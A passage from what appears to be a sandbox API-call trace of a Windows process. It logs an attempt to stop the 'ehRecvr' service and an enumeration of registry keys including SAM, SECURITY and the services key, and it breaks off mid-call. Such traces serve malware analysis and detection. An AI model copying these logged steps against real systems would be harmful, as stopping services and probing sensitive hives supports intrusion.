0x20 [0260.035] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0260.035] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0260.035] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0260.035] OpenServiceW (hSCManager=0x803918, lpServiceName="ehRecvr", dwDesiredAccess=0x20) returned 0x8038a0 [0260.036] ControlService (in: hService=0x8038a0, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0260.036] GetLastError () returned 0x425 [0260.036] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0260.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0260.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0260.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0260.036] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0260.036] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f16e8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f16e8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.037] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.037] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.037] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1ad8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0260.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.038] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0260.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.038] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0260.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1ad8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0260.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.038] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0260.038] RegCloseKey (hKey=0x80000002) returned 0x0 [0260.038] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0260.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.038] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f16e8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0260.038] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.038] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0260.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0260.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1ad8, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0260.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0260.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0260.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f16e8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0260.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0260.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0260.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.039] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.039] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0260.039] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.039] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f16e8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.040] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1ad8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.040] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.040] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.040] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1ad8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0260.040] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.040] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.041] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0260.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f16e8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0260.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.041] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0260.041] RegCloseKey (hKey=0xc4) returned 0x0 [0260.041] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0260.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0260.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1ad8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0260.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.041] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0260.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0260.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f16e8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0260.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.041] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.041] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0260.041] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1ad8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.042] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f16e8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1ad8 [0260.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0260.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0260.042] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0260.042] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0260.042] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0260.042] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 